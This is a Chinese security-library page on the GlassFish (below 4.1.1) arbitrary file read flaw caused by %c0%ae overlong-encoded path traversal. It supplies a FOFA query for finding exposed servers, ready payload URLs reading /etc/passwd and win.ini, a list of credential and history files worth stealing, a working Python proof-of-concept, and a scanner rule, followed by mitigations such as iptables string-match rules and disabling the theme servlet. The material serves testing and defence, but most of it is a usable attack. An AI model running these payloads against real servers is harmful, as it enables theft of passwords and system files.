应用服务器GlassFish任意文件读取漏-漏洞文库小世界-安全文库-NGC660 安全实验室

应用服务器GlassFish任意文件读取漏

0x01 漏洞原理

Glassfish是一款java编写的跨平台的开源应用服务器。
与宽字节SQL注入一致,都是由Unicode编码歧义导致的。java语言中会把%c0%ae解析为\uC0AE,最后转义为ASCCII字符.(点)。利用%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/来向上跳转,达到目录穿越、任意文件读取的效果。所以其实就是利用../../../.././进行目录穿越。

0x02 漏洞影响范围

Glassfish<4.1.1(不含 4.1.1)

0x03 搜索语法

fofa搜索

"GlassFish" && port="4848"

0x04 漏洞利用条件

Glassfish版本小于4.1.1。

0x05漏洞复现

可以使用vulhub进行环境搭建(https://vulhub.org/#/environments/glassfish/4.1.0/)。也可以直接使用fofa进行搜索。

fofa搜索:

"GlassFish" && port="4848"

m_bccdef5299cdfb4d04b7883502df4760_r
根据搜索的结果,选择使用4.1.1版本的GlassFish进行测试。

Payload

Linux
http://test.com:4848/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd

Windows
http://test.com:4848/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini

访问/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd路径,可直接读取/etc/passwd文件。
m_d3fb39ff8fa7865665b2ae589b586de2_r

m_c7f2d371a1ec433348d41a5ab859e173_r

获取数据库密码
m_def3a9aec1db47be514fb647896e7539_r

linux下比较敏感的文件:

/etc/issue 版本信息
/var/spool/cron/crontabs/root 定时任务
/etc/passwd 
/root/.bash_history bash环境下的命令执行历史记录
/root/.pgpass 记录连接postgressql服务器的密码
/root/.psql_history potgressql客户端的执行的sql语句历史记录

glassfish的敏感目录

domains/domain1/config/domain.xml 各种数据库密码位置
domains/domain1/config/admin-keyfile 后台密码存储位置

python POC

import requests
import argparse
from requests.packages import urllib3
urllib3.disable_warnings()
def url():
        parser = argparse.ArgumentParser(description='GlassFish 任意文件读取 POC')
        parser.add_argument('target_url',type=str,help='The target address,example: http://192.168.140.153:4848')
        args = parser.parse_args() 
        global url
        url = args.target_url
        #检测输入的url的正确性
        if url.startswith('http://') or url.startswith('https://'):
            pass
        else:
            print('[-]Please include http:// or https:// in the URL!!')
            os._exit(0)
        if url.endswith('/'):
            url = url[:-1]
        print('[+]author:chenchen')
        print("[-]GlassFish 任意文件读取 POC",)
        print("[-]开始执行检测...")
        print("[-]目标地址:",url)
        return url
def check():
    headers={
        'User-Agent':'Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Mobile Safari/537.36'
    }
    poc = "/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd"
    url_1 = url + poc
    try:
        text = requests.get(url_1,headers=headers,verify=False).text
        print(text)
        if "root:x:" in text:
            print('漏洞存在')
        else:
            print('漏洞不存在')
    except Exception as a:
        print('发生错误',a)
if __name__ == '__main__':
    url()
    check()
# 0x06 检测POC规则编写
params: []
name: 应用服务器GlassFish任意文件读取漏洞
set: {}
rules:
- method: GET
  path: /theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
  headers:
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101
      Firefox/83.0
  body: ""
  search: ""
  followredirects: false
  expression: |
    response.status == 200 && response.body.bcontains(b"root:x")
groups: {}
detail:
  author: ""
  links: []
  description: ""
  version: ""

0x07 漏洞修复

1. 关闭远程管理关闭远程管理。
关闭后只允许本地访问,会提示要求输入用户名和密码,开发环境或者对服务器安全要求较高的环境可以选择这么做,修改该设置后应该重启 GlassFish 服务。
需要注意的是,关闭远程访问只能禁用远程 login 登录,但是攻击 url 还是可以访问,任意文件读取依然存在。

2. 设置IPtables 规则

iptables -I INPUT -p tcp --dport 4848 -m string --to 120 --algo bm --string '..%c0%af' -j DROP
iptables -I INPUT -p tcp --dport 4848 -m string --to 120 --algo bm --string '%c0%ae/' -j DROP
iptables -I INPUT -p tcp --dport 4848 -m string --to 120 --algo bm --string '../' -j DROP

但是该规则无法防御HTTPS SSL方案。

3. 禁用 web.xml theme 映射
\glassfish4\glassfish\lib\install\applications__admingui\WEB-INF\web.xml

<!--
    <servlet-mapping>
        <servlet-name>ThemeServlet</servlet-name>
        <url-pattern>/theme/*</url-pattern>
    </servlet-mapping>
-->

重启 glassfish 后生效。

参考
http://www.hackdig.com/12/hack-238193.htm

请登录后发表评论

    请登录后查看回复内容